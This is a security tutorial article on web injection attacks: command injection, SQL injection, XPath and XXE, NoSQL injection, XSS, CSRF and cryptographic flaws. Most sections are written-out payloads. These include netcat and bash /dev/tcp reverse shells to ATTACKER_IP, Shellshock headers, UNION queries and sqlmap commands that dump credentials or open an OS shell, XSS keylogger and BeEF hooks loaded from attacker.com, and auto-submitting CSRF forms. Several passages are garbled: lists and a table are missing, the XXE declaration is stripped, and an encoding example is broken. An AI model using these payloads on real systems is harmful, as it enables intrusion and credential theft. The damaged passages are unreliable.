Web Application Injection Vulnerabilities and Security Testing
This article examines the primary injection vulnerabilities found in contemporary web applications, including detection methodologies, exploitation tools, and mitigation strategies. The following table outlines common components and their associated injection vulnerabilities:
Command Injection Vulnerabilities
Dynamic web applications often invoke system functions on web servers to process user-supplied input. Attackers may attempt to bypass input validation filters by injecting commands into these system calls. Command injection typically executes on the same web server, though depending on the application architecture, execution can occur on different systems.
Consider this vulnerable code example that accepts an IP address and sends ICMP packets to it:
<?php
$target = $_REQUEST['host'];
$cmd = shell_exec('ping -c 3 ' . $target);
echo $cmd;
?>
The code accepts user input without validation, making it vulnerable to command injection. An attacker could submit:
http://server/page.php?host=127.0.0.1;id
This causes the server to execute both the ping command and the injected command, displaying the results to the attacker.
Establishing Remote Shell Access
Command injection vulnerabilities can be leveraged to gain remote shell access. First, configure a listener on the attacking system:
nc -lvp 4444
Then inject a command to connect back to the listener:
nc.traditional -e /bin/bash ATTACKER_IP 4444
Some modern Linux distributions include a version of Netcat without the -e option. The traditional version is available as nc.traditional in these systems.
Identifying Vulnerable Parameters
When testing for command injection vulnerabilities, various HTTP components may contain injectable data:
- GET Parameters: Input transmitted through URLs
- POST Parameters: Input transmitted through HTTP request bodies
- HTTP Headers: Fields such as Cookies, User-Agent, X-Forwarded-For, and Referrer
Error-Based vs Blind Command Injection
When injected commands return output directly to the user, identifying vulnerabilities is straightforward. However, in blind command injection scenarios, output is not displayed, requiring alternative verification methods.
For blind injection testing, the ping command serves as an effective verification mechanism because:
- It functions consistently across Linux and Windows systems
- TTL values in responses can reveal the underlying operating system
- ICMP traffic analysis confirms successful execution
- Buffer size limitations are less restrictive for this command
Command Delimiter Metacharacters
Multiple metacharacters can separate injected commands from legitimate input:
Exploiting Shellshock (CVE-2014-6271)
The Shellshock vulnerability discovered in 2014 represents a critical arbitrary code execution flaw in bash. When anvironment variables contain specially crafted function definitions, bash executes subsequent commands instead of rejecting them.
A basic function definition that triggers this vulnerability:
() { :; };
Web applications using CGI scripts with bash are particularly vulnerable. Testing involves sending this payload in HTTP headers:
() { :;}; /bin/bash -c "ping -c 1 ATTACKER_IP"
For full interactive shell access:
() { :;}; /bin/bash -c "ping -c 1 ATTACKER_IP; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"
SQL Injection Vulnerabilities
Web applications frequently interact with databases to store and retrieve information. Relational databases organize data in tables, and SQL serves as the standard query language. When user input from cookies, forms, or URLs constructs SQL queries without proper validation, attackers can inject malicious SQL code.
Fundamental SQL Concepts
- Column/Field: A data element representing a single characteristic
- Row/Record: A complete set of fields for one entity
- Table: A collection of records for similar entities
- Database: A collection of related tables
Core SQL operations include:
Vulnerable Code Example
<?php
$bookId = $_GET["id"];
$query = "SELECT * FROM books WHERE ID=" . $bookId;
$result = MySQL_query($query);
$row = MySQL_fetch_assoc($result);
?>
Without input validation, changing the URL to /books.php?id=10-1 causes the database to execute the arithmetic operation, demonstrating that unfiltered input reaches the SQL interpreter.
Detection Methodology
Submit a single quote character to identify syntax errors. A descriptive error message indicates potential vulnerability:
SELECT first_name, last_name FROM users WHERE user_id = '''
Boolean-based testing confirms vulnerability:
2' AND '1'='1 // Returns user 2
2' AND '1'='2 // Returns empty (false condition)
Additional test vectors include:
- Arithmetic operations: 2+1, -1, 0+1
- Comment markers: #, //, /*, --
- Wildcards: %, _
- UNION operators for column enumeration
Data Extraction Process
After confirming vulnerability, determine query structure using ORDER BY to enumerate columns:
2' ORDER BY 3 --
Use UNION SELECT to identify displayed columns:
2' UNION SELECT 1,2 --
Extract database information:
2' UNION SELECT database(),user() --
Query information_schema for tables and columns:
2' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa' --
Extract user credentials:
2' UNION SELECT CONCAT(user_id,'-',first_name,' ',last_name),CONCAT(user,':',password) FROM dvwa.users --
Blind SQL Injection
When applications don't display query results, blind injection techniques apply boolean conditions to derive information:
1' AND database()='dvwa
Character-by-character extraction using pattern matching:
1' AND SUBSTRING(database(),1,1)='d
Time-based blind injection using SLEEP functions:
1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0) --
Automated Exploitation Tools
sqlmap automates SQL injection detection and exploitation:
sqlmap -u "http://target/page.php?id=1" -p id --dbs
sqlmap -u "http://target/page.php?id=1" -p id -D database_name --tables
sqlmap -u "http://target/page.php?id=1" -p id -D database_name -T users --dump
For POST-based injection with captured requests:
sqlmap -r request.txt -p username --current-db
File operations and OS command execution:
sqlmap -u "http://target/page.php?id=1" -p id --file-read=/etc/passwd
sqlmap -u "http://target/page.php?id=1" -p id --os-shell
SQL Injection Impact
Successful SQL injection can enable:
- Unauthorized data access and exfiltration
- Authentication bypass
- Data modification or deletion
- Remote code execution via xp_cmdshell
- Filesystem access using INTO OUTFILE
XML Injection Vulnerabilities
XPath Injection
XPath queries XML documents to select nodes. When user input constructs XPath queries without validation:
//Employee[UserName/text()='$input' And Password/text()='$pass']
Testing with single quotes reveals errors:
genre=action'
Confirming the use of contains() function:
genre=action')] | //* | //*[contains('1','1
XML External Entity (XXE) Injection
XXE occurs when applications process user-supplied XML containing external entity declarations:
<?xml version="1.0"?>
]>
<search><login>&xxe;</login></search>
Entity expansion attacks can cause denial of service:
<!ENTITY entity1 "Level1-&entity0;">
<!ENTITY entity2 "Level2-&entity1;&entity1;">
<!ENTITY entity3 "Level3-&entity2;&entity2;&entity2;">
]>
<reset><login>&entity3;</login></reset>
NoSQL Injection
NoSQL databases like MongoDB use JSON-based queries instead of SQL. Injection occurs by manipulating JSON parameters:
{"username":"admin","password":{"$gt":""}}
The $gt operator means "greater than," creating a condition that always evaluates to true for any non-empty password field.
Cross-Site Scripting (XSS)
XSS vulnerabilities occur when web applications include user input in web pages without proper validation, allowing attackers to inject and execute malicious script code in victims' browsers.
XSS Categories
Stored XSS: Malicious scripts persist on the server and execute when other users view affected content. Common targets include forums, social networks, and comment systems.
Reflected XSS: Scripts reflect off servers in error messages or search results, requiring user interaction like clicking crafted links.
DOM-based XSS: Client-side scripts process user input and modify the DOM without server involvement. The malicious payload stays in client-side code:
http://site/page.html?param=<script>malicious()</script>
Cookie Theft via XSS
Attacking infrastructure example:
# klog.php
<?php
if(!empty($_GET['k'])) {
$file = fopen('keys.txt', 'a');
fwrite($file, $_GET['k']);
fclose($file);
}
?>
Keylogger payload:
<script src="http://attacker.com/klog.js"></script>
BeEF Framework for Browser Control
The Browser Exploitation Framework (BeEF) enables remote browser control through injected hooks:
<script src="http://attacker.com/hook.js"></script>
BeEF provides modules for:
- Keylogging and form capture
- Browser fingerprinting
- Cookie and credential extraction
- Camera and microphone access
- Pivoting to internal networks
XSS Scanner Tools
XSSer automates detection and exploitation:
xsser -u http://target/page.php -g "param?q="
XSS Prevention
Key mitigation strategies include:
- Input Validation: Reject or sanitize special characters
- Output Encoding: Convert characters like < to <
- Content Security Policy: Restrict script sources
Cross-Site Request Forgery (CSRF)
CSRF exploits the trust websites place in browsers. When authenticated users visit malicious pages, attackers can trigger unwanted actions on trusted sites.
Exploitation Methods
For GET-based vulnerabilities:
<img src="http://target.com/action?param=value" width="0" height="0">
For POST-based vulnerabilities:
<html>
<body>
<form action="http://target.com/action" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="newpass">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
CSRF Token Bypass via XSS
XSS vulnerabilities can bypass CSRF protection by reading token values from DOM elements:
<iframe id="f" src="form_page" onload="submitForm()"></iframe>
<script>
function submitForm() {
var token = document.getElementById('f').contentDocument.getElementById('csrf_token').value;
// Submit with valid token
}
</script>
CSRF Prevention
- Implement anti-CSRF tokens for state-changing operations
- Validate Referer and Origin headers
- Use SameSite cookies
- Require re-authentication for sensitive actions
Cryptographic Implementation Flaws
Fundamental Concepts
Encryption: Mathematical algorithms (AES, DES, RSA) transform data using keys to prevent unauthorized access.
Hashing: One-way functions (MD5, SHA-1, SHA-512, bcrypt) generate fixed-length signatures for integrity verification.
Encoding: Base64 and similar techniques convert data formats without providing security.
Symmetric vs Asymmetric Encryption: Symmetric uses shared keys (AES, DES); asymmetric uses public-private key pairs (RSA, ECC).
Common Implementation Weaknesses
- Weak cipher suites (DES, MD5, RC4)
- Outdated protocols (SSLv3, TLS 1.0)
- ECB mode leaking patterns
- IV reuse in stream ciphers
- Hardcoded encryption keys
- Passwords instead of proper keys
SSL/TLS Analysis Tools
SSLScan identifies weak configurations:
sslscan target.com:443
sslscan --show-certificate target.com
SSLyze provides detailed analysis:
sslyze --regular target.com
Nmap scripts for SSL testing:
nmap -p 443 --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle target
Hash Identification
Entropy Analysis
High entropy (接近 8 for random data) indicates encrypted content. Encoded content shows biased character distributions within printable ASCII ranges.
Password Cracking
Hashcat for GPU-accelerated cracking:
hashcat -m 0 --force hashes.txt wordlist.txt
John the Ripper:
john --format=Raw-MD5 hashes.txt --wordlist=rockyou.txt
Cryptographic Best Practices
- Use TLS 1.2 or higher; disable SSL and early TLS versions
- Implement strong cipher suites (AES-256, ChaCha20)
- Use PBKDF2, bcrypt, or scrypt for password hashing
- Generate cryptographically secure random IVs
- Never reuse encryption keys or IVs
- Avoid custom cryptographic implementations